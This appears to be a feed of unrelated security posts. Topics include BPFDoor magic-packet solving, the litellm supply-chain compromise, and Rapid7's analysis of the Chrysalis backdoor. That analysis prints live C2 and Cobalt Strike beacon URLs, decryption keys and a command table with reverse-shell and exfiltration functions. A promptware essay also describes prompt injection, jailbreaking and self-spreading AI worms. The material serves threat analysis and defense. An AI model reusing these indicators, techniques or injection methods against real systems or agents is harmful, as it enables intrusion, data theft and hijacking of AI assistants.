While many modern developers are familiar with eBPF (Extended BPF), the powerful evolution used for observability and security, this post focuses on “classic” BPF. Originally designed for tools like tcpdump, classic BPF uses a simple virtual machine with just two registers to evaluate network traffic at high speeds. Because it runs deep within the kernel and can “hide” traffic from user-space tools, it has become a favorite tool for malware authors looking to build stealthy backdoors.
Creating a contextual representation of BPF instructions using LLMs is already reducing the manual overhead for analysts, crafting the network packets that correspond to the validating condition can still be a lot of work, even with the added context provided by LLM’s.
Most of the time this is not a problem if your BPF program has only ~20 instructions, but this can get exponentially more complex and time-consuming when a BPF program consists of over 100 instructions as we’ve observed in some of the samples.
If we deconstruct the problem we can see that it boils down to reading a buffer and checking a constraint, depending on the outcome we either continue our execution path or stop and check the end result.
This kind of problem that has a deterministic outcome can be solved by Z3, a theorem prover that has the means to solve problems with a set of given constraints.
Exhibit A: BPFDoor
BPFDoor is a sophisticated, passive Linux backdoor, primarily used for cyberespionage by China-based threat actors, including Red Menshen (also known as Earth Bluecrow). Active since at least 2021, the malware is designed to maintain a stealthy foothold in compromised networks, targeting telecommunications, education, and government sectors, with a strong emphasis on operations in Asia and the Middle East.
BPFDoor uses BPF to monitor all incoming traffic without requiring a specific network port to be open.
BPFDoor example instructions
Let’s focus on the sample of which was shared for the research done by Fortinet (82ed617816453eba2d755642e3efebfcbd19705ac626f6bc8ed238f4fc111bb0). If we dissect the BPF instructions and add some annotations, we can write the following:
(000) ldh [0xc] ; Read halfword at offset 12 (EtherType)
(001) jeq #0x86dd, jt 2, jf 6 ; 0x86DD (IPv6) -> ins 002 else ins 006
(002) ldb [0x14] ; Read byte at offset 20 (Protocol)
(003) jeq #0x11, jt 4, jf 15 ; 0x11 (UDP) -> ins 004 else DROP
(004) ldh [0x38] ; Read halfword at offset 56 (Dst Port)
(005) jeq #0x35, jt 14, jf 15 ; 0x35 (DNS) -> ACCEPT else DROP
(006) jeq #0x800, jt 7, jf 15 ; 0x800 (IPv4) -> ins 007 else DROP
(007) ldb [23] ; Read byte at offset 23 (Protocol)
(008) jeq #0x11, jt 9, jf 15 ; 0x11 (UDP) -> ins 009 else DROP
(009) ldh [20] ; Read halfword at offset 20 (fragment)
(010) jset #0x1fff, jt 15, jf 11 ; fragmented -> DROP else ins 011
(011) ldxb 4*([14]&0xf) ; Load index (x) register ihl & 0xf
(012) ldh [x + 16] ; Read halfword at offset x+16 (Dst Port)
(013) jeq #0x35, jt 14, jf 15 ; 0x35 (DNS) -> ACCEPT else DROP
(014) ret #0x40000 (ACCEPT)
(015) ret #0 (DROP)
In the above example we can establish there are two paths that lead to an ACCEPT outcome (step 5 and step 13). We can also clearly observe certain bytes being checked, including their offsets and values.
Taking these validations, and keeping track of anything that would match the ACCEPT path, we should be able to automatically craft the packets for us.
Calculating the shortest path
To find the shortest path to a packet that validates the conditions presented in the BPF instructions, we need to keep track of paths that are not ending in the unfavorable condition.
We start off by creating a small queue. This queue holds several important data points:
The pointer to the next instruction.
Our current path of executed instructions + the next instruction.
Whenever we encounter an instruction that is checking a condition, we keep track of the outcome using a boolean and store this in our queue, so we can compare paths on the amount of conditions before the ACCEPT condition is reached and calculate our shortest path. In pseudocode we can express this best as:
paths = []
queue = dequeue([(0, [0])])
while queue:
pc, path = queue.popleft()
if pc >= len(instructions):
continue
instruction = instructions[pc]
if instruction.class == return_instruction:
if instruction_constant != 0: # accept
paths.append(path)
continue # drop or accept, stop parsing this instruction
if instruction.class == jump_instruction:
if instruction.operation == unconditional_jump:
next_pc = pc + 1 + instruction_constant
queue.append((next_pc, path + [next_pc]))
continue
# Conditional jump, explore both
pc_true = pc + 1 + instruction.jump_true
pc_false = pc + 1 + instruction.jump_false
if instruction.jump_true <= instruction.jump_false:
queue.append((pc_true, path + [pc_true]))
queue.append((pc_false, path + [pc_false]))
# else: same as above but reverse order of appending
# else: sequential instruction, append to the queue
If we execute this logic against our earlier BPFDoor example, we will be presented with the shortest path to an accepted packet:
This is already a helpful automation in automatically solving our BPF constraints when it comes to analyzing BPF instructions and figuring out how the accepted packet for the backdoor would look. But what if we can take it a step further?
What if we could create a small tool that will give us the expected packet back in an automated manner?
Employing Z3 and scapy
One such tool that is perfect to solve problems given a set of constraints is Z3. Developed by Microsoft the tool is labeled as a theorem prover and exposes easy to use functions performing very complex mathematical operations under the hood.
The other tool we will use for crafting our valid magic packets is scapy, a popular Python library for interactive packet manipulation.
Given that we already have a way to figure out the path to an accepted packet, we are left with solving the problem by itself, and then translating this solution to the bytes at their respective offsets in a network packet.
Symbolic execution
A common technique for exploring paths taken in a given program is called symbolic execution. For this technique we are giving input that can be used as variables, including the constraints. By knowing the outcome of a successful path we can orchestrate our tool to find all of these successful paths and display the end result to us in a contextualized format.
For this to work we will need to implement a small machine capable of keeping track of the state of things like constants, registers, and different boolean operators as an outcome of a condition that is being checked.
class BPFPacketCrafter:
MIN_PKT_SIZE = 64 # Minimum packet size (Ethernet + IP + UDP headers)
LINK_ETHERNET = "ethernet" # DLT_EN10MB - starts with Ethernet header
LINK_RAW = "raw" # DLT_RAW - starts with IP header directly
MEM_SLOTS = 16 # Number of scratch memory slots (M[0] to M[15])
def __init__(self, ins: list[BPFInsn], pkt_size: int = 128, ltype: str = "ethernet"):
self.instructions = ins
self.pkt_size = max(self.MIN_PKT_SIZE, pkt_size)
self.ltype = ltype
# Symbolic packet bytes
self.packet = [BitVec(f"pkt_{i}", 8) for i in range(self.pkt_size)]
# Symbolic registers (32-bit)
self.A = BitVecVal(0, 32) # Accumulator
self.X = BitVecVal(0, 32) # Index register
# Scratch memory M[0-15] (32-bit words)
self.M = [BitVecVal(0, 32) for _ in range(self.MEM_SLOTS)]
With the above code we’ve covered most of the machine for keeping a state during the symbolic execution. There are of course more conditions we need to keep track of, but these are handled during the solving process. To handle an ADD instruction, the machine maps the BPF operation to a Z3 addition:
def _execute_ins(self, insn: BPFInsn):
cls = insn.cls
if cls == BPFClass.ALU:
op = insn.op
src_val = BitVecVal(insn.k, 32) if insn.src == BPFSrc.K else self.X
if op == BPFOp.ADD:
self.A = self.A + src_val
Luckily the BPF instruction set is only a small set of instructions that’s relatively easy to implement — only having two registers to keep track of is definitely a welcome constraint!
The overall working of this symbolic execution can be laid out in the following abstracted overview:
Initialize the “x” (index) and “a” (accumulator) registers to their base state.
Loop over the instructions from the path that was identified as a successful path;
Execute non-jump instructions as-is, keeping track of register states.
Determine if a jump instruction is encountered, and check if the branch should be taken.
Use the Z3 check() function to check if our condition has been satisfied with the given constraint (ACCEPT).
Convert the Z3 bitvector arrays into bytes.
Use scapy to construct packets of the converted bytes.
If we look at the constraints build by the Z3 solver we can trace the execution steps taken by Z3 to build the packet bytes:
The first part of the Z3 displayed constraints are the constraints added to ensure we’re building up a valid ethernet IP when dealing with link-layer BPF instructions. The “If” statements apply specific constraints based on which protocol is detected:
IPv4 Logic (0x0800):
pkt_14 & 240 == 64: Byte 14 is the start of the IP header. The 0xF0 mask isolates the high nibble (the Version field) to check if the version is 4 (0x40).
pkt_14 & 15 == 5: 15 (0x0F), isolating the low nibble (IHL – Internet Header Length). This mandates a header length of 5 (20 bytes), which is the standard size without options.
IPv6 Logic (0x86dd):
pkt_14 & 240 == 0x60: Check if the version field is version 6 (0x60)
We can observe the network packet values when we look at the second part where different values are being checked:
0x86DD: Packet condition for IPv6 header.
0x11: UDP protocol number.
0x35: The destination port (53).
Next to the expected values we can see the byte offset of where it should exist in a given packet (e.g. pkt_12, pkt_13).
Crafting packets
Now that we’ve established which bytes should exist at specific offsets we can convert it into an actual network packet using scapy. If we generate a new packet from the bytes of our previous Z3 constraints we can clearly see what our packet would look like, and store this for further processing:
These newly crafted packets can in turn be used for further research or identifying the presence of these implants by scanning for these over the network.
Try it yourself
Understanding what a specific BPF set of instructions is doing can be cumbersome and time-consuming work. The example used is only a total of sixteen instructions, but we’ve encountered samples that were over 200 instructions that would’ve taken at least a day to understand. By using the Z3 solver, we can now reduce this time to just seconds, and not only display the path to an accepted packet, but also the packet skeleton for this as well.
We have open-sourced the filterforge tool to help the community automate the deconstruction of BPF-based implants. You can find the source code, along with usage examples, on our GitHub repository.
By publishing this research and sharing our tool for reducing analysts’ time spent figuring out the BPF instructions, we hope to spark further research by others to expand on this form of automation.
A malicious supply chain compromise has been identified in the Python Package Index package litellm version 1.82.8. The published wheel contains a malicious .pth file (litellm_init.pth, 34,628 bytes) which is automatically executed by the Python interpreter on every startup, without requiring any explicit import of the litellm module.
There are a lot of really boring things we need to do to help secure all of these critical libraries: SBOMs, SLSA, SigStore. But we have to do them.
Security researchers at Google on Tuesday released a report describing what they’re calling “Coruna,” a highly sophisticated iPhone hacking toolkit that includes five complete hacking techniques capable of bypassing all the defenses of an iPhone to silently install malware on a device when it visits a website containing the exploitation code. In total, Coruna takes advantage of 23 distinct vulnerabilities in iOS, a rare collection of hacking components that suggests it was created by a well-resourced, likely state-sponsored group of hackers.
[…]
Coruna’s code also appears to have been originally written by English-speaking coders, notes iVerify’s cofounder Rocky Cole. “It’s highly sophisticated, took millions of dollars to develop, and it bears the hallmarks of other modules that have been publicly attributed to the US government,” Cole tells WIRED. “This is the first example we’ve seen of very likely US government toolsbased on what the code is telling usspinning out of control and being used by both our adversaries and cybercriminal groups.”
TechCrunch reports that Coruna is definitely of US origin:
Two former employees of government contractor L3Harris told TechCrunch that Coruna was, at least in part, developed by the company’s hacking and surveillance tech division, Trenchant. The two former employees both had knowledge of the company’s iPhone hacking tools. Both spoke on condition of anonymity because they weren’t authorized to talk about their work for the company.
It’s always super interesting to see what malware looks like when it’s created through a professional software development process. And the TechCrunch article has some speculation as to how the US lost control of it. It seems that an employee of L3Harris’s surviellance tech division, Trenchant, sold it to the Russian government.
A thoughtful review of Apple’s system to alert users that the camera is on. It’s really well-designed, and important in a world where malware could surreptitiously start recording.
The reason it’s tempting to think that a dedicated camera indicator light is more secure than an on-display indicator is the fact that hardware is generally more secure than software, because it’s harder to tamper with. With hardware, a dedicated hardware indicator light can be connected to the camera hardware such that if the camera is accessed, the light must turn on, with no way for software running on the device, no matter its privileges, to change that. With an indicator light that is rendered on the display, it’s not foolish to worry that malicious software, with sufficient privileges, could draw over the pixels on the display where the camera indicator is rendered, disguising that the camera is in use.
If this were implemented simplistically, that concern would be completely valid. But Apple’s implementation of this is far from simplistic.
This is new. North Korean hackers are posing as company recruiters, enticing job candidates to participate in coding challenges. When they run the code they are supposed to work on, it installs malware on their system.
Attacks against modern generative artificial intelligence (AI) large language models (LLMs) pose a real threat. Yet discussions around these attacks and their potential defenses are dangerously myopic. The dominant narrative focuses on “prompt injection,” a set of techniques to embed instructions into inputs to LLM intended to perform malicious activity. This term suggests a simple, singular vulnerability. This framing obscures a more complex and dangerous reality. Attacks on LLM-based systems have evolved into a distinct class of malware execution mechanisms, which we term “promptware.” In a new paper, we, the authors, propose a structured seven-step “promptware kill chain” to provide policymakers and security practitioners with the necessary vocabulary and framework to address the escalating AI threat landscape.
In our model, the promptware kill chain begins with Initial Access. This is where the malicious payload enters the AI system. This can happen directly, where an attacker types a malicious prompt into the LLM application, or, far more insidiously, through “indirect prompt injection.” In the indirect attack, the adversary embeds malicious instructions in content that the LLM retrieves (obtains in inference time), such as a web page, an email, or a shared document. As LLMs become multimodal (capable of processing various input types beyond text), this vector expands even further; malicious instructions can now be hidden inside an image or audio file, waiting to be processed by a vision-language model.
The fundamental issue lies in the architecture of LLMs themselves. Unlike traditional computing systems that strictly separate executable code from user data, LLMs process all input—whether it is a system command, a user’s email, or a retrieved document—as a single, undifferentiated sequence of tokens. There is no architectural boundary to enforce a distinction between trusted instructions and untrusted data. Consequently, a malicious instruction embedded in a seemingly harmless document is processed with the same authority as a system command.
But prompt injection is only the Initial Access step in a sophisticated, multistage operation that mirrors traditional malware campaigns such as Stuxnet or NotPetya.
Once the malicious instructions are inside material incorporated into the AI’s learning, the attack transitions to Privilege Escalation, often referred to as “jailbreaking.” In this phase, the attacker circumvents the safety training and policy guardrails that vendors such as OpenAI or Google have built into their models. Through techniques analogous to social engineering—convincing the model to adopt a persona that ignores rules—to sophisticated adversarial suffixes in the prompt or data, the promptware tricks the model into performing actions it would normally refuse. This is akin to an attacker escalating from a standard user account to administrator privileges in a traditional cyberattack; it unlocks the full capability of the underlying model for malicious use.
Following privilege escalation comes Reconnaissance. Here, the attack manipulates the LLM to reveal information about its assets, connected services, and capabilities. This allows the attack to advance autonomously down the kill chain without alerting the victim. Unlike reconnaissance in classical malware, which is performed typically before the initial access, promptware reconnaissance occurs after the initial access and jailbreaking components have already succeeded. Its effectiveness relies entirely on the victim model’s ability to reason over its context, and inadvertently turns that reasoning to the attacker’s advantage.
Fourth: the Persistence phase. A transient attack that disappears after one interaction with the LLM application is a nuisance; a persistent one compromises the LLM application for good. Through a variety of mechanisms, promptware embeds itself into the long-term memory of an AI agent or poisons the databases the agent relies on. For instance, a worm could infect a user’s email archive so that every time the AI summarizes past emails, the malicious code is re-executed.
The Command-and-Control (C2) stage relies on the established persistence and dynamic fetching of commands by the LLM application in inference time from the internet. While not strictly required to advance the kill chain, this stage enables the promptware to evolve from a static threat with fixed goals and scheme determined at injection time into a controllable trojan whose behavior can be modified by an attacker.
The sixth stage, Lateral Movement, is where the attack spreads from the initial victim to other users, devices, or systems. In the rush to give AI agents access to our emails, calendars, and enterprise platforms, we create highways for malware propagation. In a “self-replicating” attack, an infected email assistant is tricked into forwarding the malicious payload to all contacts, spreading the infection like a computer virus. In other cases, an attack might pivot from a calendar invite to controlling smart home devices or exfiltrating data from a connected web browser. The interconnectedness that makes these agents useful is precisely what makes them vulnerable to a cascading failure.
Finally, the kill chain concludes with Actions on Objective. The goal of promptware is not just to make a chatbot say something offensive; it is often to achieve tangible malicious outcomes through data exfiltration, financial fraud, or even physical world impact. There are examples of AI agents being manipulated into selling cars for a single dollar or transferring cryptocurrency to an attacker’s wallet. Most alarmingly, agents with coding capabilities can be tricked into executing arbitrary code, granting the attacker total control over the AI’s underlying system. The outcome of this stage determines the type of malware executed by promptware, including infostealer, spyware, and cryptostealer, among others.
The kill chain was already demonstrated. For example, in the research “Invitation Is All You Need,” attackers achieved initial access by embedding a malicious prompt in the title of a Google Calendar invitation. The prompt then leveraged an advanced technique known as delayed tool invocation to coerce the LLM into executing the injected instructions. Because the prompt was embedded in a Google Calendar artifact, it persisted in the long-term memory of the user’s workspace. Lateral movement occurred when the prompt instructed the Google Assistant to launch the Zoom application, and the final objective involved covertly livestreaming video of the unsuspecting user who had merely asked about their upcoming meetings. C2 and reconnaissance weren’t demonstrated in this attack.
Similarly, the “Here Comes the AI Worm” research demonstrated another end-to-end realization of the kill chain. In this case, initial access was achieved via a prompt injected into an email sent to the victim. The prompt employed a role-playing technique to compel the LLM to follow the attacker’s instructions. Since the prompt was embedded in an email, it likewise persisted in the long-term memory of the user’s workspace. The injected prompt instructed the LLM to replicate itself and exfiltrate sensitive user data, leading to off-device lateral movement when the email assistant was later asked to draft new emails. These emails, containing sensitive information, were subsequently sent by the user to additional recipients, resulting in the infection of new clients and a sublinear propagation of the attack. C2 and reconnaissance weren’t demonstrated in this attack.
The promptware kill chain gives us a framework for understanding these and similar attacks; the paper characterizes dozens of them. Prompt injection isn’t something we can fix in current LLM technology. Instead, we need an in-depth defensive strategy that assumes initial access will occur and focuses on breaking the chain at subsequent steps, including by limiting privilege escalation, constraining reconnaissance, preventing persistence, disrupting C2, and restricting the actions an agent is permitted to take. By understanding promptware as a complex, multistage malware campaign, we can shift from reactive patching to systematic risk management, securing the critical systems we are so eager to build.
This essay was written with Oleg Brodt, Elad Feldman and Ben Nassi, and originally appeared in Lawfare.
Rapid7 Labs, together with the Rapid7 MDR team, has uncovered a sophisticated campaign attributed to the Chinese APT group Lotus Blossom. Active since 2009, the group is known for its targeted espionage campaigns primarily impacting organizations across Southeast Asia and more recently Central America, focusing on government, telecom, aviation, critical infrastructure, and media sectors.
Our investigation identified a security incident stemming from a sophisticated compromise of the infrastructure hosting Notepad++, which was subsequently used to deliver a previously undocumented custom backdoor, which we have dubbed Chrysalis.
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Figure 1: Telemetry on the custom backdoor samples
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Beyond the discovery of the new implant, forensic evidence led us to uncover several custom loaders in the wild. One sample, “ConsoleApplication2.exe”, stands out for its use of Microsoft Warbird, a complex code protection framework, to hide shellcode execution. This blog provides a deep technical analysis of Chrysalis, the Warbird loader, and the broader tactic of mixing straightforward loaders with obscure, undocumented system calls.
Initial access vector
Forensic analysis conducted by the MDR team suggests that the initial access vector aligns with publicly disclosed abuse of the Notepad++ distribution infrastructure. While reporting references both plugin replacement and updater-related mechanisms, no definitive artifacts were identified to confirm exploitation of either. The only confirmed behavior is that execution of “notepad++.exe” and subsequently “GUP.exe” preceded the execution of a suspicious process “update.exe” which was downloaded from 95.179.213.0.
Analysis of update.exe
Figure 2: Execution diagram of update.exe
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Analysis of “update.exe” shows the file is actually an NSIS installer, a tool commonly used by Chinese APT to deliver initial payload.
The following (Table 1) are the extracted NSIS installer files:
Installation script is instructed to create a new directory “Bluetooth”in “%AppData%”folder, copy the remaining files there, change the attribute of the directory to HIDDENand execute BluetoothService.exe.
DLL sideloading
Shortly after the execution of BluetoothService.exewhich is actually a renamed legitimate Bitdefender Submission Wizard that was abused for DLL sideloading, where a malicious log.dll was placed alongside the executable, causing it to be loaded instead of the legitimate library. Two exported functions from log.dll are called by Bitdefender Submission Wizard: LogInitand LogWrite.
LogInit and LogWrite – Shellcode load, decrypt, execute
LogInitjust loads BluetoothServiceinto the memory of the running process.
LogWritehas a more sophisticated goal – to decrypt and execute the shellcode.
The decryption routine implements a custom runtime decryption mechanism used to unpack encrypted data in memory. It derives key material from previously calculated hash value and applies a stream‑cipher–like algorithm rather than standard cryptographic APIs. At a high level, the decryption routine relies on a linear congruential generator, with the standard constants 0x19660D and 0x3C6EF35F, combined with several basic data transformation steps to recover the plaintext payload.
Once decrypted, the payload replaces the original buffer and all temporary memory is released. Execution is then transferred to this newly decrypted stage, which is treated as executable code and invoked with a predefined set of arguments, including runtime context and resolved API information.
Figure 3: LogWrite internals
IAT resolution
Log.dllimplements an API hashing subroutine to resolve required APIs during execution, reducing the likelihood of detection by antivirus and other security solutions.
API hashing subroutine
The hashing algorithm will hash export names using FNV‑1a(fnv-1a hash 0x811C9DC5, fnv-1a prime 0x1000193 observed), then apply a MurmurHash‑style avalanche finalizer(murmur constant 0x85EBCA6B observed), and comparing the result to a salted target hash.
Analysis of the Chrysalis backdoor
The shellcode, once decrypted by log.dll, is a custom, feature-rich backdoor we’ve named “Chrysalis”. Its wide array of capabilities indicates it is a sophisticated and permanent tool, not a simple throwaway utility. It uses legitimate binaries to sideload a crafted DLL with a generic name, which makes simple filename-based detection unreliable. It relies on custom API hashing in both the loader and the main module, each with its own resolution logic. This is paired with layered obfuscation and a fairly structured approach to C2 communication. Overall, the sample looks like something that has been actively developed over time, and we’ll be keeping an eye on this family and any future variants that show up.
Decryption of the main module
Once the execution is passed to decrypted shellcode from log.dll, malware starts with decryption of the main module via a simple combination of XOR, addition and subtraction operations, with a hardcoded key gQ2JR&9;. See below the pseudocode of decryption routine:
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char XORKey[8] = "gQ2JR&9;";
DWORD counter = 0;
DWORD pos = BufferPosition;
while (counter < size) {
BYTE k = XORKey[counter & 7];
BYTE x = encrypted[pos];
x = x + k;
x = x ^ k;
x = x - k;
decrypted[pos] = x;
pos++;
counter++;
}
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XOR operation is performed 5 times in total, suggesting a section layout similar to PE format. Following the decryption, malware will proceed to yet another dynamic IAT resolution using LoadLibraryAto acquire a handle to Kernel32.dll and GetProcAddress. Once exports are resolved, the jump is taken to the main module.
Main module
The decrypted module is a reflective PE-like module that executes the MSVC CRTinitialization sequence before transferring control to the program’s main entry point. Once in the Main function, the malware will dynamically load DLLs in the following order : oleaut32.dll, advapi32.dll, shlwapi.dll, user32.dll, wininet.dll,ole32.dll and shell32.dll.
Names of targeted DLLs are constructed on the run, using two separate subroutines. These two subroutines implement a custom, position-dependent character obfuscation scheme. Each character is transformed using a combination of bit rotations, conditional XOR operations, and index-based arithmetic, ensuring that identical characters encrypt differently depending on their position. The second routine reverses this process at runtime, reconstructing the original plaintext string just before it is used. The purpose of these two functions is not only to conceal strings, but also to intentionally complicate static analysis and hinder signature-based detection.
After the DLL name is reconstructed, the Main module implements another, more sophisticated API hashing routine.
API hashing subroutine
Figure 4: API hashing diagram
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The first difference between this and the API hashing routine used by the loader is that this subroutine accepts only a single argument: the hash of the target API. To obtain the DLL handle, the malware walks the PEB to reach the InMemoryOrderModuleList, then parses each module’s export table, skipping the main executable, until it resolves the desired API. Instead of relying on common hashing algorithms, the routine employs multi-stage arithmetic mixing with constants of MurmurHash-style finalization. API names are processed in 4-byte blocks using multiple rotation and multiplication steps, followed by a final diffusion phase before comparison with the supplied hash. This design significantly complicates static recovery of resolved APIs and reduces the effectiveness of traditional signature-based detection. As a fallback, the resolver supports direct resolution via GetProcAddress if the target hash is not found through the hashing method. The pointer to GetProcAddress is obtained earlier during the “main module preparation” stage.
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Figure 5: API hashing internals
Config decryption
The next step in the malware’s execution is to decrypt the configuration. Encrypted configuration is stored in the BluetoothService file at offset 0x30808 with the size of 0x980. Algorithm for the decryption is RC4with the key qwhvb^435h&*7. This revealed the following information:
Command and Control (C2) url: https://api.skycloudcenter.com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
Name of the module: BluetoothService
User agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4044.92 Safari/537.36
Decrypted configuration doesn’t give much useful information besides the C2. The name of the module is too generic and the user agent belongs to Google Chrome browser. The URL resolves to 61.4.102.97, IP address based inMalaysia. At the time of the writing of this blog, no other file has been seen to communicate with this IP and URL.
Persistence and Command-Line Arguments
To determine the next course of action, malware checks command line arguments highlighted in Table 1 and chooses one of four potential paths – if the amount of the command-line arguments is greater than two, the process will exit. If there is no additional argument, persistence is set up primarily via service creation or registry as a fall back mechanism.
See Table 2 below:
Argument
Mode
Action
(None)
Installation
Installs persistence (Service or Registry) pointing to binary with -i flag, then terminates.
-i
Launcher
Spawns a new instance of itself with the -k flag via ShellExecuteA, then terminates.
-k
Payload
Skips installation checks and executes the main malicious logic (C2 & Shellcode).
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With the expected arguments present, the malware proceeds to its primary functionality – to gather information about the infected asset and initiate the communication with C2.
Information gathering and C2 communication
A mutex Global\\Jdhfv_1.0.1 is registered to enforce single instance execution on the host. If it already exists, malware is terminated. If the check is clear, information gathering begins by querying for the following : current time, installed AVs, OS version, user name and computer name. Next, computer name, user name, OS version and string 1.01are concatenated and the data are hashed using FNV-1A. This value is later turned into its decimal ascii representation and used most likely as a unique identifier of the infected host.
Final buffer uses a dot as delimiter and follows this pattern:
The last piece of information added to the beginning of the buffer is a string 4Q. The buffer is then RC4 encrypted with the key vAuig34%^325hGV.
Following data encryption, the malware establishes an internet connection using previously mentioned user agent and C2 api.skycloudcenter.com over port 443. Data is then transferred via HttpSendRequestAusing the POSTmethod. Response from the server is then read to a temporary buffer which is later decrypted using the same key vAuig34%^325hGV.
Response and command processing
Note: C2 server was already offline during the initial analysis, preventing recovery of any network data. As a result, and due to the complexity of the malware, parts of the following analysis may contain minor inaccuracies.
The response from the C2 undergoes multiple checks before further processing. First, the HTTP response code is compared against the hardcoded value 200(0xC8),indicating a successful request, followed by a validation of the associated WinInet handle to ensure no error occurred. The malware then verifies the integrity of the received payload and execution proceeds only if at least one valid structure is detected. Next, malware looks into the response data for a small tag to determine what to do next. Tag is used as a condition for a switch statement with 16 possible cases. The default case will simply set up a flag to TRUE. Setting up this flag will result in completely jumping out of the switch. Other switch cases includes following options:
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Char representation
Hex representation
Purpose
4T
0x3454
Spawn interactive shell
4U
0x3455
Send ‘OK’ to C2
4V
0x3456
Create process
4W
0x3457
Write file to disk
4X
0x3458
Write chunk to open file
4Y
0x3459
Read & send data
4Z
0x345A
Break from switch
4\\
0x345C
Uninstall / Clean up
4]
0x345D
Sleep
4_
0x345F
Get info about logical drives
4`
0x3460
Enumerate files information
4a
0x3661
Delete file
4b
0x3662
Create directory
4c
0x3463
Get file from C2
4d
0x3464
Send file to C2
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4T – The malware implements a fully interactive cmd.exe reverse shell using redirected pipes. Incoming commands from the C2 are converted from UTF‑8 to the system OEM code page before being written to the shell’s standard input, while a dedicated thread continuously reads shell output, converts it from OEM encoding to UTF‑8 using GetOEMCP API, and forwards the result back to the C2.
4V– This option allows remote process execution by invoking CreateProcessW on a C2-supplied command line and relaying execution status back to the C2.
4W– This option implements a remote file write capability, parsing a structured response containing a destination path and file contents, converting encodings as necessary, writing the data to disk, and returning a formatted status message to the command-and-control server.
4X– Similar to the previous switch, it supports a remote file-write capability, allowing the C2 to drop arbitrary files on the victim system by supplying a UTF-8 filename and associated data blob.
4Y – Switch implements a remote file-read capability. It opens a specified file with, retrieves its size, reads the entire contents into memory, and transmits the data back to the C2.
4\\– The option implements a full self-removal mechanism. It deletes auxiliary payload files, removes persistence artifacts from both the Windows Service registry hive and the Run key, generates and executes a temporary batch file u.batto delete the running executable after termination, and finally removes the batch script itself.
4_– Here malware enumerates information about logical drivers using GetLogicalDriveStringsA and GetDriveTypeAAPIs and sends the information back to the C2.
4`– This switch option shares similarities with previously analyzed data exfiltration function – 4Y. However, its primary purpose differs. Instead of transmitting preexisting data, it enumerates files within a specified directory, collects per-file metadata (timestamps, size, and filename), serializes the results into a custom buffer format, and sends the aggregated listing to the C2.
4a – 4b – 4c – 4d– In the last 4 cases, malware implements a custom file transfer protocol over its C2 channel. Commands 4a and 4b act as control messages used to initialize file downloadand upload operations respectively, including file paths, offsets, and size validation. Once initialized, the actual data transfer occurs in a chunked fashion using commands 4c (download)and 4d (upload). Each chunk is wrapped in a fixed-size 40-byte response structure, validated for successful HTTP status and correct structure count before processing. Transfers continue until the C2 signals completion via a non-zero termination flag, at which point file handles and buffers are released.
Additional artifacts discovered on the infected host
During the initial forensics analysis of the affected asset, Rapid7’s MDR team observed execution of following command:
The retrieved folder “USOShared”from the infected asset didn’t contain svchost.exe but it contained “libtcc.dll” and “conf.c”. The hash of the binary didn’t match any known legitimate version but the command line arguments and associated “libtcc.dll” suggested that svchost.exe is in fact renamed Tiny-C-Compiler. To confirm this, we replicated the steps of the attacker successfully loaded shellcode from “conf.c” into the memory of “tcc.exe”, confirming our previous hypothesis.
Analysis of conf.c
The C source file contains a fixed size (836) char buffer containing shellcode bytes which is later casted to a function pointer and invoked. The shellcode is consistent with 32-bit version of Metasploit’s block API.
The shellcode loads Wininet.dll using LoadLibraryA, resolves Internet-related APIs such as InternetConnectAand HttpSendRequestA, and downloads a file from api.wiresguard.com/users/admin. The file is read into a newly allocated and execution is then transferred to the start of the 2000-byte second-stage shellcode.
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Figure 6: Shellcode decryption stub
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This stub is responsible for decrypting the next payload layer and transferring execution to it. It uses a rolling XOR-baseddecryption loop before jumping directly to the decrypted code.
A quick look into the decrypted buffer revealed an interesting blob with a repeated string CRAZY, hinting additional XORed layer, later confirmed by a quick test.
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Figure 7: Repeated XOR key “CRAZY”
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Figure 8: Decrypted configuration
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Parsing of the decrypted configuration data confirms that retrieved shellcode is Cobalt Strike (CS) HTTPS beaconwith http-get api.wiresguard.com/update/v1and http-post api.wiresguard.com/api/FileUpload/submit urls.
Analysis of the initial evidence revealed a consistent execution chain: a loader embedding Metasploit block_api shellcode that downloads a Cobalt Strike beacon. The unique decryption stub and configuration XOR key CRAZY allowed us to pivot into an external hunt, uncovering additional loader variants.
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Figure 9: Execution flow followed by conf.c and other loaders
Variation of loaders and shellcode
In the last year, four similar files were uploaded to public repositories.
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
URL hosting CS beacon
http://59.110.7.32:8880/uffhxpSy
http://124.222.137.114:9999/3yZR31VK
https://api.wiresguard.com/users/system
https://api.wiresguard.com/users/system
CS http-get URL
http:// 59.110.7.32:8880/api/getBasicInfo/v1
http://124.222.137.114:9999/api/updateStatus/v1
https://api.wiresguard.com/api/getInfo/v1
https://api.wiresguard.com/api/getInfo/v1
CS http-post URL
http:// 59.110.7.32:8880/api/Metadata/submit
http://124.222.137.114:9999/api/Info/submit
https://api.wiresguard.com/api/Info/submit
https://api.wiresguard.com/api/Info/submit
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From all the loaders we analyzed, Loader 3piqued our interest for three reasons – shellcode encryption technique, executionand almost identical C2to beacon that was found on the infected asset . All the previous samples used a pretty common technique to execute the shellcode – decrypt embedded shellcode in user space, change the protection of memory region to executable state and invoke decrypted code via CreateThread/ CreateRemoteThread, Loader 3 (original name “ConsoleApplication2.exe”) violates this approach.
Analysis of Loader 3 – ConsoleApplication2.exe
At the first glance, the logic of the sample is straightforward Load the DLL clipc.dll, overwrite first 0x490 bytes, change the protection to PAGE_EXECUTE_READ (0x20), and then invoke NtQuerySystemInformation. Two interesting notes to highlight here – bytes copied into the memory region of clipc.dll are not valid shellcode and NtquerySystemInformation is used to “Retrieve the specified system information”, not to execute code.
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Figure 10: Snippet from ConsoleApplication2.exe
Figure 11: Data copied into clipc.dll
